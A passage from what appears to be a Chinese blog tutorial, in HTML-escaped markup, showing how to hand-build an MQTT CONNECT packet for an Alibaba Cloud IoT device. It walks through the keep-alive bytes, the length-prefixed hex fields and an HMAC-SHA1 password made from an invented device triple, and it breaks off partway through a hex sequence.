align=\"center\"\u003e0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 9\u003c/td\u003e\u003ctd align=\"center\"\u003e保持连接 Keep Alive MSB\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 10\u003c/td\u003e\u003ctd align=\"center\"\u003e保持连接 Keep Alive LSB\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e保持连接(Keep Alive)是一个以秒为单位的时间间隔,表示为一个16位的字,它是指在客户端传输完成一个控制报文的时刻到发送下一个报文的时刻,两者之间允许空闲的最大时间间隔。客户端负责保证控制报文发送的时间间隔不超过保持连接的值。如果没有任何其它的控制报文可以发送,客户端\u003cstrong\u003e必须\u003c/strong\u003e发送一个PINGREQ报文。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e如:设置100s表示成16进制为 00 64\u003c/p\u003e\u003c/blockquote\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003e可变报头非规范示例\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003eDescription\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e0\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eProtocol Name\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eLength MSB(0)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 2\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eLength LSB(4)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 3\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e'M'\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 4\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e'Q'\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 5\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e'T'\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 6\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e'T'\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eProtocol Level\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003ebyte 7\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eLevel(4)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eConnect Flags\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003ebyte 8\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eUser Name Flag(1)\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ePassword Flag(1)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eWill Retain(0)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eWill QoS(01)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eWill Flag(1)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eClean Session(1)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003eReserved(0)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eKeep Alive\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 9\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eKeep Alive MSB(0)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 10\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eKeep Alive LSB(10)\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003ch5 id=\"得到可变报头\"\u003e\u003ca href=\"#得到可变报头\" class=\"headerlink\" title=\"得到可变报头\"\u003e\u003c/a\u003e得到可变报头\u003c/h5\u003e\u003cp\u003e用户名、密码、清理回话,100s\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e 4D \u003cspan class=\"token number\"\u003e51\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e C2 \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e64\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"有效载荷\"\u003e\u003ca href=\"#有效载荷\" class=\"headerlink\" title=\"有效载荷\"\u003e\u003c/a\u003e有效载荷\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e需要用到的工具:\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://www.metools.info/code/c25.html\"\u003e在线HMAC计算-ME2在线工具 (metools.info)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.rapidtables.com/convert/number/hex-to-ascii.html\"\u003eHex to ASCII Text String Converter (rapidtables.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.rapidtables.com/convert/number/ascii-to-hex.html\"\u003eASCII to Hex | Text to Hex Code Converter (rapidtables.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e对于各参数的具体信息可以参考阿里云文档:\u003ca href=\"https://help.aliyun.com/zh/iot/user-guide/establish-mqtt-connections-over-tcp#section-llx-5ay-oma\"\u003eMQTT-TCP连接通信 (aliyun.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e有效载荷(payload)包含一个或多个以长度为前缀的字段,可变报头中的标志决定是否包含这些字段。如果包含的话,必须按这个顺序出现:客户端标识符,遗嘱主题,遗嘱消息,用户名,密码,且每个字段必须使用UTF-8编码字符串(\u003cstrong\u003e需要在最前面添加表示长度的16进制字符\u003c/strong\u003e)\u003c/p\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"2\"\u003e\u003ccenter\u003e每个字段示例\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003cth \u003e\u003ccenter\u003eBit\u003c/center\u003e\u003c/th\u003e \u003cth \u003e\u003ccenter\u003e7 - 0\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 1\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e数据长度 MSB\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 2\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e数据长度 LSB\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 3...\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e数据长度大于0,这里就是数据部分\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003cp\u003e我们此时需要去阿里云获取三元组(我随便编一编):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"ProductKey\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"ksf114514\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"DeviceName\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"Air601\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\"DeviceSecret\"\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"ksf1145141919810dj15ltc137666\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我们约定:\u003c/p\u003e\u003cul\u003e\u003cli\u003e#:ProductKey\u003c/li\u003e\u003cli\u003e*:DeviceName\u003c/li\u003e\u003cli\u003e\u0026amp;:DeviceSecret\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"客户端标识符\"\u003e\u003ca href=\"#客户端标识符\" class=\"headerlink\" title=\"客户端标识符\"\u003e\u003c/a\u003e客户端标识符\u003c/h5\u003e\u003cp\u003e通用格式:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e*|securemode=\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003esignmethod=hmacsha1|\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e进行填充:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAir601|securemode=\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003esignmethod=hmacsha1|\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e转换为16进制:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e添加长度(40 -\u0026gt; 00 28):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"用户名\"\u003e\u003ca href=\"#用户名\" class=\"headerlink\" title=\"用户名\"\u003e\u003c/a\u003e用户名\u003c/h5\u003e\u003cp\u003e通用格式:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e*\u0026amp;#\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e进行填充:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAir601\u0026amp;ksf114514\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e转换为16进制\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e41 69 72 36 30 31 26 6B 73 66 31 31 34 35 31 34\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e添加长度(16 -\u0026gt; 00 10)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e00 10 41 69 72 36 30 31 26 6B 73 66 31 31 34 35 31 34\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"密码\"\u003e\u003ca href=\"#密码\" class=\"headerlink\" title=\"密码\"\u003e\u003c/a\u003e密码\u003c/h5\u003e\u003cp\u003e通用格式:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eclientId*deviceName*productKey#\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e进行填充:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eclientIdAir601deviceNameAir601productKeyksf114514\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e加密:\u003c/p\u003e\u003cp\u003e将填充后的内容\u003cstrong\u003e使用DeviceSecret做密钥\u003c/strong\u003e,进行\u003cstrong\u003eHmacSHA1加密\u003c/strong\u003e:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003ee4b931f38037ef7241455709458b4b630b22eac2\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e转为16进制:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e34\u003c/span\u003e \u003cspan class=\"token number\"\u003e62\u003c/span\u003e \u003cspan class=\"token number\"\u003e39\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e \u003cspan class=\"token number\"\u003e66\u003c/span\u003e \u003cspan class=\"token number\"\u003e33\u003c/span\u003e \u003cspan class=\"token number\"\u003e38\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e 